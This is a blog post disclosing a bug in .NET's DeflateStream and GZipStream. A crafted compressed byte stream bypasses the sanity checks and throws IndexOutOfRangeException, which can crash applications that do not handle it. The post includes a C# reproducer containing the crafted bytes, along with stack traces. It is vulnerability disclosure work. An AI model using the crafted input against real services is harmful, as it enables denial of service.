January 30, 2016

Managed out-of-bound access in DeflateStream (.NET)

Recently I made a test to see the robustness of the Deflate algorithm in .NET Framework. It was written in Visual Studio 2013 using C# and DeflateStream class.

The test came back with one issue worth mentioning in this blog.

Background

IndexOutOfRangeException exception is thrown when the program tries to access out of the buffer boundaries. When this exception is thrown it indicates a missing or insufficient sanity check. When the sanity check works as expected it should prevent the exception from being thrown.

Microsoft explains like this.
Typically, an IndexOutOfRangeException exception is thrown as a result of developer error. Instead of handling the exception, you should diagnose the cause of the error and correct your code.
DeflateStream performs sanity check on the stream during the decompression and when a corrupted stream is detected InvalidDataException is being thrown.

The Issue

The issue the test hit is like this. During the decompression a specially crafted stream can bypass the sanity check and so the code doesn't throw InvalidDataException. Instead it tries to access out of boundaries and IndexOutOfRangeException is thrown.

The isolated testcase to reproduce the issue is like this.

using System;
using System.IO.Compression;
using System.IO;

namespace DeflateTestCase
{
    class Program
    {
        static Byte[] compressedData = {
            0x04, 0xDF, 0x03, 0x20, 0xFC, 0xA1, 0x6F, 0x85, 0xF2, 0x2B, 0xC5, 0xA4, 0xAA, 0x8A, 0xC8, 0xB4,
            0xDE, 0x3A, 0x5C, 0x06, 0xA2, 0x8C, 0xD9, 0x39, 0x41, 0xCB, 0xA6, 0x34, 0xDD, 0xCA, 0xC4, 0x2C,
            0x80, 0x7C, 0xCC
        };

        static void Main(string[] args)
        {
            using (MemoryStream compressedStream = new MemoryStream(compressedData))
            {
                MemoryStream resultStream = new MemoryStream();
                using (DeflateStream decompressionStream = new DeflateStream(compressedStream, CompressionMode.Decompress))
                {
                    try
                    {
                        decompressionStream.CopyTo(resultStream);
                    }
                    catch (System.IO.InvalidDataException e)
                    {
                        System.Console.WriteLine("{0}", e.Message);
                    }
                    catch (System.IndexOutOfRangeException e)
                    {
                        System.Console.WriteLine("{0}", e.Message);
                        System.Console.WriteLine("{0}", e.StackTrace);
                    }
                }
            }
        }
    }
}

Stack trace.

c:\Dev\DeflateTestCase\bin\Release>DeflateTestCase.exe
Index was outside the bounds of the array.
   at System.IO.Compression.HuffmanTree.CreateTable()
   at System.IO.Compression.HuffmanTree..ctor(Byte[] codeLengths)
   at System.IO.Compression.Inflater.DecodeDynamicBlockHeader()
   at System.IO.Compression.Inflater.Decode()
   at System.IO.Compression.Inflater.Inflate(Byte[] bytes, Int32 offset, Int32 length)
   at System.IO.Compression.DeflateStream.Read(Byte[] array, Int32 offset, Int32 count)
   at System.IO.Stream.InternalCopyTo(Stream destination, Int32 bufferSize)
   at System.IO.Stream.CopyTo(Stream destination)
   at DeflateTestCase.Program.Main(String[] args) in c:\Dev\DeflateTestCase\Program.cs:line 24

Consequence

If DeflateStream is used (either implicitly or expicitly) to decompress data and the data can come from untrusted source IndexOutOfRangeException is expected to happen and it should be handled in order to prevent the program from abrupt termination (DoS).

The testcase can be downloaded from here.

UPDATE 31/January/2016 Further test confirm the same issue can be reached via a different code path from GZipStream.

Stack trace.

c:\Dev\GZipTestCase\bin\Release>GZipTestCase.exe
Index was outside the bounds of the array.
   at System.IO.Compression.HuffmanTree.CreateTable()
   at System.IO.Compression.HuffmanTree..ctor(Byte[] codeLengths)
   at System.IO.Compression.Inflater.DecodeDynamicBlockHeader()
   at System.IO.Compression.Inflater.Decode()
   at System.IO.Compression.Inflater.Inflate(Byte[] bytes, Int32 offset, Int32 length)
   at System.IO.Compression.DeflateStream.Read(Byte[] array, Int32 offset, Int32 count)
   at System.IO.Compression.GZipStream.Read(Byte[] array, Int32 offset, Int32 count)
   at System.IO.Stream.InternalCopyTo(Stream destination, Int32 bufferSize)
   at System.IO.Stream.CopyTo(Stream destination)
   at GZipTestCase.Program.Main(String[] args) in c:\Dev\GZipTestCase\Program.cs:line 26

The gzip testcase can be downloaded from here and the gzip file from here.
  This blog is written and maintained by Attila Suszter. Read in Feed Reader.